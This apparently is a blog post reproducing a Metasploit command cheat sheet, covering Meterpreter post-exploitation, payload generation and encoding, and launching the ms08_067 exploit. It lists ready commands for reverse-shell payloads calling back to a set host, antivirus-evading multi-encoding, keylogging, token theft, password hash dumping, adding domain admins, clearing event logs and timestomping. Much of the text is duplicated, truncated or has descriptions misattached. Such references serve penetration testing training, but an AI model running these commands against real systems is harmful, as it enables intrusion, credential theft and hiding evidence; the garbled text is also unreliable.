I was going through the Metasploit The Penetration Tester’s Guide by David Kennedy,Jim O’Gorman, Devon Kearns and Mati Aharoni . Guys I must say it is worth reading .
This is a reference for the most frequently used commands a
nd syntax within Metasploit’s various interfaces
and utilities.
show exploits
Show all exploits within the Framework.
show payloads
Show all payloads within the Framework.
show auxiliary
Show all auxiliary modules within the Framework.
search name
Search for exploits or modules within the Framework.
info
Load information about a specific exploit or module.
use name
Load an exploit or module (example: use windows/smb/psexec).
LHOST
Your local host’s IP address reachable by the target, often the public IP
address when not on a local network. Typically used for reverse shells.
RHOST
The remote host or the target.
set function
Set a specific value (for example, LHOST or RHOST).
setg function
Set a specific value globally (for example, LHOST or RHOST).
show options
Show the options available for a module or exploit.
show targets
Show the platforms supported by the exploit.
set target num
Specify a specific target index if you know the OS and service pack.
set payload payload
Specify the payload to use.
show advanced
Show advanced options.
set autorunscript migrate -f
Automatically migrate to a separate process upon exploit completion.
check
Determine whether a target is vulnerable to an attack.
Your local host’s IP address reachable by the target, often the public IP
address when not on a local network. Typically used for reverse shells.
RHOST
The remote host or the target.
set function
Set a specific value (for example, LHOST or RHOST).
setg function
Set a specific value globally (for example, LHOST or RHOST).
show options
Show the options available for a module or exploit.
show targets
Show the platforms supported by the exploit.
set target num
Specify a specific target index if you know the OS and service pack.
set payload payload
Specify the payload to use.
show advanced
Show advanced options.
set autorunscript migrate -f
Automatically migrate to a separate process upon exploit completion.
check
Determine whether a target is vulnerable to an attack.
exploit
Execute the module or exploit and attack the target.
exploit -j
Run the exploit under the context of the job. (This will run the exploit
in the background.)
exploit -z
Execute the module or exploit and attack the target.
exploit -j
Run the exploit under the context of the job. (This will run the exploit
in the background.)
exploit -z
Do not interact with the session after successful exploitation.
exploit -e encoder
exploit -e encoder
Specify the payload encoder to use (example: exploit –e shikata_ga_nai).
Display help for the exploit command.
sessions -l
List available sessions (used when handling multiple shells).
sessions -l -v
List all available sessions and show verbose fields, such as which vulnerability
was used when exploiting the system.
sessions -s script
Run a specific Meterpreter script on all Meterpreter live sessions.
sessions -K
Kill all live sessions.
sessions -c cmd
Execute a command on all live Meterpreter sessions.
sessions -u sessionID
Upgrade a normal Win32 shell to a Meterpreter console.
db_create name
Create a database to use with database-driven attacks (example: db_create
autopwn).
db_connect name
Create and connect to a database for driven attacks (example: db_connect
autopwn).
db_nmap
Use nmap and place results in database. (Normal nmap syntax is supported,
such as –sT –v –P0.)
db_autopwn -h
Display help for using db_autopwn.
db_autopwn -p -r -e
Run db_autopwn against all ports found, use a reverse shell, and exploit all
systems.
db_destroy
Delete the current database.
db_destroy user:password@host:port/database
Delete database using advanced options.
exploit -h
Display help for the exploit command.
sessions -l
List available sessions (used when handling multiple shells).
sessions -l -v
List all available sessions and show verbose fields, such as which vulnerability
was used when exploiting the system.
sessions -s script
Run a specific Meterpreter script on all Meterpreter live sessions.
sessions -K
Kill all live sessions.
sessions -c cmd
Execute a command on all live Meterpreter sessions.
sessions -u sessionID
Upgrade a normal Win32 shell to a Meterpreter console.
db_create name
Create a database to use with database-driven attacks (example: db_create
autopwn).
db_connect name
Create and connect to a database for driven attacks (example: db_connect
autopwn).
db_nmap
Use nmap and place results in database. (Normal nmap syntax is supported,
such as –sT –v –P0.)
db_autopwn -h
Display help for using db_autopwn.
db_autopwn -p -r -e
Run db_autopwn against all ports found, use a reverse shell, and exploit all
systems.
db_destroy
Delete the current database.
db_destroy user:password@host:port/database
Delete database using advanced options.
Meterpreter Commands
help
Open Meterpreter usage help.
help
Open Meterpreter usage help.
run scriptname
directory.
sysinfo
Show the system information on the compromised target.
ls
List the files and folders on the target.
use priv
ps
Show all running processes and which accounts are associated with each
process.
migrate PID
Migrate to the specific process ID (PID is the target process ID gained
from the ps command).
use incognito
Load incognito functions. (Used for token stealing and impersonation on
a target machine.)
list_tokens -u
List available tokens on the target by user.
list_tokens -g
List available tokens on the target by group.
impersonate_token DOMAIN_NAME\\USERNAME
Impersonate a token available on the target.
steal_token PID
Steal the tokens available for a given process and impersonate that token.
drop_token
Stop impersonating the current token.
getsystem
Attempt to elevate permissions to SYSTEM-level access through multiple
attack vectors.
shell
Drop into an interactive shell with all available tokens.
execute -f cmd.exe -i
Execute cmd.exe and interact with it.
execute -f cmd.exe -i -t
Execute cmd.exe with all available tokens.
execute -f cmd.exe -i -H -t
Execute cmd.exe with all available tokens and make it a hidden process.
rev2self
Revert back to the original user you used to compromise the target.
reg command
Interact, create, delete, query, set, and much more in the target’s registry.
setdesktop number
Switch to a different screen based on who is logged in.
screenshot
Take a screenshot of the target’s screen.
upload file
Upload a file to the target.
download file
Download a file from the target.
keyscan_start
Start sniffing keystrokes on the remote target.
keyscan_dump
Dump the remote keys captured on the target.
keyscan_stop
Stop sniffing keystrokes on the remote target.
getprivs
Get as many privileges as possible on the target.
uictl enable keyboard/mouse
Take control of the keyboard and/or mouse.
background
Run your current Meterpreter shell in the background.
hashdump
Dump all hashes on the target.
use sniffer
Load the sniffer module.
sniffer_interfaces
List the available interfaces on the target.
sniffer_dump interfaceID pcapname
Start sniffing on the remote target.
sniffer_start interfaceID packet-buffer
Start sniffing with a specific range for a packet buffer.
sniffer_stats interfaceID
Grab statistical information from the interface you are sniffing.
sniffer_stop interfaceID
Stop the sniffer.
add_user username password -h ip
Add a user on the remote target.
add_group_user "Domain Admins" username -h ip
Add a username to the Domain Administrators group on the remote target.
clearev
Clear the event log on the target machine.
timestomp
Change file attributes, such as creation date (antiforensics measure).
reboot
Reboot the target machine.
MSFpayload Commands
msfpayload -h
List available payloads.
msfpayload windows/meterpreter/bind_tcp O
List available options for the windows/meterpreter/bind_tcp payload (all of
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 X
Create a Meterpreter reverse_tcp payload to connect back to 192.168.1.5
and on port 443, and then save it as a Windows Portable Executable
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R >
msfpayload windows/meterpreter/bind_tcp LPORT=443 C > payload.c
Same as above but export as C-formatted shellcode.
msfpayload windows/meterpreter/bind_tcp LPORT=443 J > payload.java
Export as %u encoded JavaScript.
MSFencode Commands
msfencode -h
Display the msfencode help.
msfencode -l
List the available encoders.
msfencode -t (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs,
loop-vbs, asp, war, macho)
Format to display the encoded buffer.
msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5
-t exe
Encode payload.raw with shikata_ga_nai five times and export it to an
output file named encoded_payload.exe.
msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/
_countdown -c 5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o
multi-encoded_payload.exe
Create a multi-encoded payload.
msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c
Create pure alphanumeric shellcode where ESI points to the shellcode;
output in C-style notation.
MSFcli Commands
msfcli | grep exploit
Show only exploits.
msfcli | grep exploit/windows
Show only Windows exploits.
msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp
LPORT=443 RHOST=172.16.32.142 E
Launch ms08_067_netapi exploit at 172.16.32.142 with a bind_tcp payload
being delivered to listen on port 443.
Meterpreter Post Exploitation Commands
http://pastebin.com/VmTtcz0A
P.S - This Cheat Sheet is borrowed from
Start sniffing on the remote target.
sniffer_start interfaceID packet-buffer
Start sniffing with a specific range for a packet buffer.
sniffer_stats interfaceID
Grab statistical information from the interface you are sniffing.
sniffer_stop interfaceID
Stop the sniffer.
add_user username password -h ip
Add a user on the remote target.
add_group_user "Domain Admins" username -h ip
Add a username to the Domain Administrators group on the remote target.
clearev
Clear the event log on the target machine.
timestomp
Change file attributes, such as creation date (antiforensics measure).
reboot
Reboot the target machine.
MSFpayload Commands
msfpayload -h
List available payloads.
msfpayload windows/meterpreter/bind_tcp O
List available options for the windows/meterpreter/bind_tcp payload (all of
these can use any payload).
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 X
payload.exe
Create a Meterpreter reverse_tcp payload to connect back to 192.168.1.5
and on port 443, and then save it as a Windows Portable Executable
named payload.exe.
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R >
payload.raw
Same as above, but export as raw format. This will be used later in
msfencode.
msfpayload windows/meterpreter/bind_tcp LPORT=443 C > payload.c
Same as above but export as C-formatted shellcode.
msfpayload windows/meterpreter/bind_tcp LPORT=443 J > payload.java
Export as %u encoded JavaScript.
MSFencode Commands
msfencode -h
Display the msfencode help.
msfencode -l
List the available encoders.
msfencode -t (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs,
loop-vbs, asp, war, macho)
Format to display the encoded buffer.
msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5
-t exe
Encode payload.raw with shikata_ga_nai five times and export it to an
output file named encoded_payload.exe.
msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/
_countdown -c 5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o
multi-encoded_payload.exe
Create a multi-encoded payload.
msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c
Create pure alphanumeric shellcode where ESI points to the shellcode;
output in C-style notation.
MSFcli Commands
msfcli | grep exploit
Show only exploits.
msfcli | grep exploit/windows
Show only Windows exploits.
msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp
LPORT=443 RHOST=172.16.32.142 E
Launch ms08_067_netapi exploit at 172.16.32.142 with a bind_tcp payload
being delivered to listen on port 443.
Meterpreter Post Exploitation Commands
http://pastebin.com/VmTtcz0A
P.S - This Cheat Sheet is borrowed from
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